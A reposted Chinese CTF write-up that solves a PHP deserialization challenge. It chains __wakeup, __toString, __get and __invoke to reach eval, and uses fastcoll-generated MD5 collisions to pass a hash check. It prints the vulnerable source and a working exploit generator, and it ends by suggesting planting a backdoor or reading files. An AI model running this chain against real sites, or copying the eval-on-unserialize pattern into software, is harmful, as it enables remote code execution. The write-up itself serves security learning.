当前位置:网站首页>PHP反序列化+MD5碰撞
PHP反序列化+MD5碰撞
2022-07-05 20:39:00 【游戏编程】
PHP反序列化+MD5碰撞
源码:
<?phperror_reporting(0);highlight_file(__FILE__);class Backdoor { public $x; public $y; public function __invoke(){ if( is_string($this->x) && is_string($this->y) && ($this->x != $this->y) && (md5($this->x) === md5($this->y)) ){ if(!preg_match("/\<\?/", $this->x, $match)){ eval($this->x); } else { die("No Way!"); } } else { die("Keep it up......"); } }}class Entrance{ public $name; public $str; public function __construct(){ $this->name = "Bunny"; } public function __toString(){ return $this->str->name; } public function __wakeup(){ echo 'Welcome, '.$this->name."<br>"; }}class Test{ public $z; public function __construct(){ $this->z = array(); } public function __get($key){ $function = $this->z; return $function(); }}if (isset($_GET['poc'])){ unserialize($_GET['poc']);}?>
分析:
首先,由unserialize可以很明显看出这是一道关于PHP反序列化的题,这种题通常需要先找一个入口。
检查代码后,很快发现一处PHP魔术方法 __wakeup()
。
__wakeup():
unserialize()
会检查是否存在一个__wakeup()
方法。如果存在,则会先调用__wakeup
方法,
这个方法中虽然只是简单的输出了一句话,但是细心观察会发现 __wakeup()
魔术方法的上面还有一个 __toString()
的魔术方法。
__toString():
类被当成字符串时的回应方法。
__toString() 方法用于一个类被当成字符串时应怎样回应。例如echo $obj;
应该显示些什么。
由此可猜测,可以将这个类自己赋值给$this->name,这样他在拼接字符串时就会触发 __toString()
魔术方法。
再细看 __toString
魔术方法中的内容,$this->str->name,由这个可猜测可以将某个类赋值给$this->str,然后去那个类里找name这个变量。
再回看源码,发现test类中有一个 __get()
的魔术方法。
__get():
PHP中__get(),获得一个类的成员变量时调用
在 php 面向对象编程中,类的成员属性被设定为 private 后,如果我们试图在外面调用它则会出现“不能访问某个私有属性”的错误。那么为了解决这个问题,我们可以使用魔术方法 __get()。
结合上面的步骤,我们可以在反序列化的过程中给test类里添加一个私有变量name,这样在获取私有变量的时候就会触发 __get()
魔术方法。
再来看 __get()
魔术方法中的内容,他return了一个$function(),而$function = $this->z,这个地方很容易会想到将类当做函数去执行的操作,于是再检查代码,果然发现 __invoke()
魔术方法。
__invoke():
__invoke(),调用函数的方式调用一个对象时的回应方法
**作用:**
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
**注意:**
本特性只在 PHP 5.3.0 及以上版本有效。
__invoke()
魔术方法中有过滤操作,它要求x和y的值都必须是一个字符串,他们两值不相等,但是MD5值要一样,最后还会将x的内容当做PHP代码来执行,也就是我们最终要利用的eval()函数!
整个过程差不多就是这样,如果直接看看不出来的话,也可以从后往前看,即找到可能被利用的地方往前推。
解答:
构造poc链
<?phpclass Entrance{ public $name; public $str;}class Test{ public $z; private $name;}class Backdoor { public $x; public $y;}$a=new Entrance();$b=new Test();$c=new Backdoor();$a->name=$a; //用来触发tostring$a->str=$b; //用来触发get$b->z=$c; //用来触发invoke$c->x=file_get_contents("1_msg1.txt");$c->y=file_get_contents("1_msg2.txt");echo urlencode(serialize($a));//明文输出会存在不可见字符,所以记得url编码一下?>
链子不难,只要3步就可以完成,这题难在最后MD5碰撞这块,随随便便找两个MD5值一样的字符串不难,但是还要将这个字符串当做PHP代码来执行的话,可能就不简单了。
自己一个一个的试肯定是不行的,这里得借助一个工具fastcoll。
资源下载
程序:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
源码:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5_source.zip
这个工具的作用就是你给他一串字符串,他会给你输出两段包含该字符串且MD5值一样的文件,有了这个工具后,这题就很简单了。
下面随便做个测试,用PHP代码输出99999。
首先准备一个1.txt,文件内容为
echo 999999;
将该文件拖到fastcoll.exe上,程序会自动生成两段文本。
检查该文本后发现,在代码后面跟着许多乱码字符串,所以我们可以在原文件后加上注释,于是修改1.txt
echo 999999;//
丢进fastcoll里给生成了两个文件,由于该文件内存在乱码,所以建议直接用file_get_contents来获取文件内容。
测试结果:
至此eval函数成功执行,最后可以尝试留后门,或直接读文件。
作者:Sentry_fei
游戏编程,一个游戏开发收藏夹~
如果图片长时间未显示,请使用Chrome内核浏览器。
边栏推荐
- Codeforces Round #804 (Div. 2) - A, B, C
- Pytorch 1.12 was released, officially supporting Apple M1 chip GPU acceleration and repairing many bugs
- Mysql频繁操作出现锁表问题
- 19 mongoose modularization
- 资源道具化
- 鸿蒙系统控制LED的实现方法之经典
- Informatics Orsay all in one 1339: [example 3-4] find the post order traversal | Valley p1827 [usaco3.4] American Heritage
- Duchefa丨MS培养基含维生素说明书
- Is the securities account given by the school of Finance and business safe? Can I open an account?
- Where is a good stock account? Is online account manager safe to open an account
猜你喜欢
1、强化学习基础知识点
物联网智能家居基本方法实现之经典
Applet page navigation
Abnova丨DNA 标记高质量控制测试方案
Abnova丨E (DIII) (WNV) 重组蛋白 中英文说明书
Informatics Orsay all in one 1339: [example 3-4] find the post order traversal | Valley p1827 [usaco3.4] American Heritage
Chemical properties and application instructions of prosci Lag3 antibody
如何形成规范的接口文档
Duchefa p1001 plant agar Chinese and English instructions
Station B up builds the world's first pure red stone neural network, pornographic detection based on deep learning action recognition, Chen Tianqi's course progress of machine science compilation MLC,
随机推荐
Applet event binding
欢迎来战,赢取丰厚奖金:Code Golf 代码高尔夫挑战赛正式启动
Duchefa MS medium contains vitamin instructions
信息学奥赛一本通 1340:【例3-5】扩展二叉树
Abnova丨血液总核酸纯化试剂盒预装相关说明书
Go file path operation
手机开户股票开户安全吗?我家比较偏远,有更好的开户途径么?
Reinforcement learning - learning notes 4 | actor critical
信息学奥赛一本通 1339:【例3-4】求后序遍历 | 洛谷 P1827 [USACO3.4] 美国血统 American Heritage
Duchefa s0188 Chinese and English instructions of spectinomycin hydrochloride pentahydrate
清除app data以及获取图标
Duchefa丨MS培养基含维生素说明书
Model method
Codeforces Round #804 (Div. 2) - A, B, C
Pytorch 1.12 was released, officially supporting Apple M1 chip GPU acceleration and repairing many bugs
Abnova丨 CD81单克隆抗体相关参数和应用
July 4, 2022 - July 10, 2022 (UE4 video tutorial MySQL)
y57.第三章 Kubernetes从入门到精通 -- 业务镜像版本升级及回滚(三十)
3.3、项目评估
Chemical properties and application instructions of prosci Lag3 antibody